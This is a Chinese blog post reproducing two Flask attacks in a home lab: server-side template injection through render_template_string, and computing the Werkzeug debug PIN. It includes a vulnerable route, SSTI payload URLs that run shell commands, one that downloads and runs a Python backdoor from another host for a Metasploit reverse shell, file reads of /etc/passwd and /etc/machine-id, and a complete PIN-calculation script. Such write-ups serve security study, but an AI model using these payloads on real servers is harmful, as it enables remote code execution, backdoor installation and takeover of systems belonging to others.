flask框架下的ssti+pin码执行命令

最近了解到关于flask框架的两种利用方式,于是自己搭环境做一下复现。

模板注入

简单的漏洞代码;

@app.route('/evil')
#----------------------------------------------------------------------
def evil():
    code=request.args.get('evil')
    html='''

%s

'''%(code) return render_template_string(html)

这里使用 render_template_string()动态的渲染模板,代码中的code是可控的,会和html拼接后直接带入渲染,存在ssti漏洞。

可以轻易的构造xss:

flask框架下的ssti+pin码执行命令_第1张图片
image.png

命令执行

使用类似python沙箱逃逸的方法。:

http://192.168.200.244:8000/evil?evil={{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()' )}}
flask框架下的ssti+pin码执行命令_第2张图片
image.png

可以结合metasploit反弹:
一:生成python马:


image.png

二:ssti下载马并执行:

http://192.168.200.244:8000/evil?evil={{().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("wget http://192.168.8.110:5000/a.py -O b.py;python b.py").read()' )}}
flask框架下的ssti+pin码执行命令_第3张图片
image.png
flask框架下的ssti+pin码执行命令_第4张图片
image.png

pin码执行命令

使用条件,server开启了debug模式,存在任意文件读取漏洞。
开启了debug的flask项目在启动时会生成一个debug用的pin码,可以执行python指令。

flask框架下的ssti+pin码执行命令_第5张图片
image.png

而这个pin码在知晓一些条件后,是可以计算出来的。
参考: https://xz.aliyun.com/t/2553#toc-2

还是使用之前的漏洞代码,传入错误的Python代码,轻易触发debug。


flask框架下的ssti+pin码执行命令_第6张图片
image.png

这里我们把之前的ssti当任意文件读取来用:
获取用户名(/etc/passwd):


flask框架下的ssti+pin码执行命令_第7张图片
image.png

通过报错获取文件路径:
flask框架下的ssti+pin码执行命令_第8张图片
image.png

接着获取mac地址(/sys/class/net/ens32/address我的目标服务器是ens32,一般是eth0):


flask框架下的ssti+pin码执行命令_第9张图片
image.png

然后获取/etc/machine-id:
flask框架下的ssti+pin码执行命令_第10张图片
image.png

之后就可以通过脚本计算了:
from itertools import chain
probably_public_bits = [
    'root',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/lib64/python2.7/site-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '345051575547'# str(uuid.getnode()),  /sys/class/net/eth0/address
    '613cacd3857f425e9409e544dece08da', # get_machine_id(),/etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

计算出Pin码:


image.png

可以看到计算出来的pin码和之前debug显示的是一致的。
接下来就可以利用执行命令了:


image.png

你可能感兴趣的:(flask框架下的ssti+pin码执行命令)